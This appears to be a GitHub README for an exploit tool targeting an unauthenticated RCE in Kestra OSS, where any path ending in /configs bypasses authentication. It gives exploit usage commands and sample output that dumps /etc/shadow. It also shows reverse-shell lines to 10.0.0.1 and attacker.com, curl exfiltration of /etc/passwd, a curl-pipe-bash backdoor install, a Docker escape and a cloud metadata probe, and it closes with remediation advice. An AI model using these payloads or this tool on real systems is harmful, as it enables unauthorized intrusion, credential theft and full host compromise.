Kestra Unauthenticated RCE Exploit (CVE-2026-53576)

---

⚠️ DISCLAIMER

This tool is for educational and authorized security testing purposes only.

• DO NOT use this against systems you don't own or lack explicit written permission to test.
• DO NOT use this for illegal activities.
• The author is NOT responsible for any misuse of this tool.
• Use at your OWN RISK.

---

📋 Table of Contents

• Overview
• Vulnerability Details
• Exploit Usage
• Installation
• Examples
• Impact
• Remediation
• Timeline
• References
• License

---

🔍 Overview

CVE-2026-53576 is a critical vulnerability in Kestra OSS versions up to v1.3.20 that allows unauthenticated remote code execution via an authentication filter bypass.

Key Details

Attribute	Value
CVE ID	CVE-2026-53576
Severity	Critical (9.8 CVSS)
Vulnerability Type	Authentication Bypass + RCE
Affected Product	Kestra OSS
Affected Versions	≤ v1.3.20
Attack Vector	Network
Authentication Required	None
User Interaction	None

---

🚨 Vulnerability Details

Root Cause

The authentication filter in Kestra contains a critical logic flaw:

// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

This checks if any API request ends with /configs, rather than matching the exact route. This allows attackers to bypass authentication by appending /configs to any endpoint.

Exploitation Steps

1. Create malicious flow → POST /api/v1/main/flows/configs (bypasses auth)
2. Trigger execution → POST /api/v1/main/executions/configs/configs (bypasses auth)
3. Commands run as root → Full system compromise

Vulnerable Endpoints

# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

---

💻 Exploit Usage

Basic Usage

python3 kestra_exploit.py <target_ip>

Advanced Usage

# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

Command Options

Option	Description
target	Target IP address or hostname (required)
-p, --port	Port (default: 8080)
--https	Use HTTPS instead of HTTP
-c, --command	Custom command to execute
--docker-check	Check for Docker socket access
--cleanup	Delete the flow after exploitation
--delay	Delay between requests (default: 2s)

---

📦 Installation

Requirements

pip install requests

Clone Repository

git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

Verify Installation

python3 kestra_exploit.py --help

---

🎯 Examples

Example 1: Basic Exploitation

python3 kestra_exploit.py 192.168.1.100

Output:

============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

Example 2: Reverse Shell

python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Example 3: Data Exfiltration

python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

Example 4: Docker Escape Check

python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

---

💥 Impact

Direct Impact

Category	Severity	Description
Confidentiality	⚠️ Critical	Read any file (passwords, secrets, configurations)
Integrity	⚠️ Critical	Create/modify/delete flows and data
Availability	⚠️ High	Shutdown system, resource exhaustion
Authentication	⚠️ Critical	Complete bypass of Basic-Auth
Privilege Escalation	⚠️ Critical	Commands run as root (uid=0)
Container Escape	⚠️ Critical	Host compromise via Docker socket

Attack Capabilities

An unauthenticated attacker can:

1. Execute arbitrary commands as root:

   # Read secrets
   cat /app/conf/application.yml
   
   # Reverse shell
   bash -i >& /dev/tcp/attacker.com/4444 0>&1
   
   # Install malware
   curl http://attacker.com/backdoor.sh | bash
   

2. Pivot to host system (if Docker socket mounted):

   docker run -v /:/host --privileged alpine chroot /host
   

3. Access cloud metadata (if on cloud provider):

   curl http://169.254.169.254/latest/meta-data/
   

---

🛡️ Remediation

Immediate Actions

1. Shut down vulnerable instances:

   sudo systemctl stop kestra
   

2. Block public access:

   iptables -A INPUT -p tcp --dport 8080 -j DROP
   

3. Apply firewall rules:

   • Restrict to internal networks
   • Use VPN for administrative access

Permanent Fix

1. Update Kestra to the latest patched version:

   • Monitor: https://github.com/kestra-io/kestra
   • Check: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f

2. Implement proper authentication:

   • Use OAuth2/OIDC instead of Basic Auth
   • Enable multi-factor authentication

3. Container hardening:

   • Run as non-root user
   • Don't mount /var/run/docker.sock
   • Use read-only root filesystem

4. Network hardening:

   • Use API gateway with proper routing
   • Implement WAF rules
   • Enable request validation

---

📅 Timeline